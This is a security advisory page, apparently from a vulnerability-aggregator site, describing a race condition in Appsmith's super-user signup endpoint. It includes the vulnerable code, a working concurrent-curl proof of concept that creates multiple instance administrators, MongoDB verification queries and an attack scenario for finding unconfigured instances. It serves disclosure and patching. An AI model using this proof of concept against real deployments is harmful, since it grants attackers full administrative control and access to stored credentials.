🛡️ GHSA-9wcp-79g5-5c3c — server
Description
Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators
Summary
The /api/v1/users/super endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the signupAndLoginSuper() method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.
Severity
- CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
- CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 (HIGH)
Affected Version
- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
- Docker image:
appsmith/appsmith-ce:release(pulled 2026-02-25) - Commit:
55ac824f8d42f934cc7a69f8abc52880a6ad39ef
Root Cause
The signupAndLoginSuper() method in UserSignupCEImpl.java (lines 270–295) performs a non-atomic check-then-act sequence:
```java
// Step 1: CHECK — query MongoDB for existing users
userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
}
// Step 2: ACT — create user and grant admin (not atomic with Step 1)
return signupAndLogin(user, exchange);
})
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
```
The isUsersEmpty() method (CustomUserRepositoryCEImpl.java, lines 35–44) queries MongoDB without any locking mechanism:
```java
public Mono<Boolean> isUsersEmpty() {
return queryBuilder()
.criteria(Bridge.or(
notExists(User.Fields.isSystemGenerated),
Bridge.isFalse(User.Fields.isSystemGenerated)))
.limit(1).all(IdOnly.class).count().map(count -> count == 0);
}
```
There is no @Transactional annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.
Proof of Concept
Environment Setup
```bash
# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize
```
Step 1: Verify Fresh State
```bash
curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {"data": {"email": "anonymousUser", ...}}
```
Step 2: Send Concurrent Requests
```bash
for i in $(seq 1 10); do
curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
-X POST http://localhost:9090/api/v1/users/super \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-By: Appsmith" \
-d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait
# Check results
for i in $(seq 1 10); do
echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done
```
Step 3: Verify in MongoDB
```javascript
// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh <connection_string>
// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })
// Check who has manage:users permission
db.user.find(
{ isSystemGenerated: { $ne: true } },
{ email: 1, "policies.permission": 1 }
).forEach(u => {
const hasManage = u.policies?.some(p => p.permission === "manage:users");
printjson({ email: u.email, manage_users: hasManage });
});
// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
{ name: "Instance Administrator Role" },
{ assignedToUserIds: 1 }
);
```
Observed Results
| Metric | Expected | Actual |
|--------|----------|--------|
| Users created | 1 | 10 |
| Users with manage:users policy | 1 | 10 |
| Users in Instance Administrator Role | 1 | 2 |
All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.
Impact
1. Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.
2. Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.
3. Full Instance Compromise: Instance Administrator privileges grant:
- User management (create, delete, modify all users)
- Access to all datasource credentials (database passwords, API keys)
- Modification of all applications and their server-side logic
- Environment configuration (SMTP, OAuth, encryption settings)
Attack Scenario
1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
2. Attacker polls GET /api/v1/users/me — if the response contains "email": "anonymousUser", the instance has not been set up yet.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
GHSA-9wcp-79g5-5c3c is classified as CWE-367: Time-of-check Time-of-use Race Condition. The state checked and the state acted upon can differ, because it may change between the two steps.
Affected software
GHSA-9wcp-79g5-5c3c is recorded against 1 package.
- com.appsmith:server (fixed in 1.99)
Timeline and source
Published on 12 June 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| com.appsmith:server | — | 1.99 |
References
Similar Threats
- High GHSA-j9gf-vw2f-9hrw
Site Security Check
Is server part of your stack?
GHSA-9wcp-79g5-5c3c is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.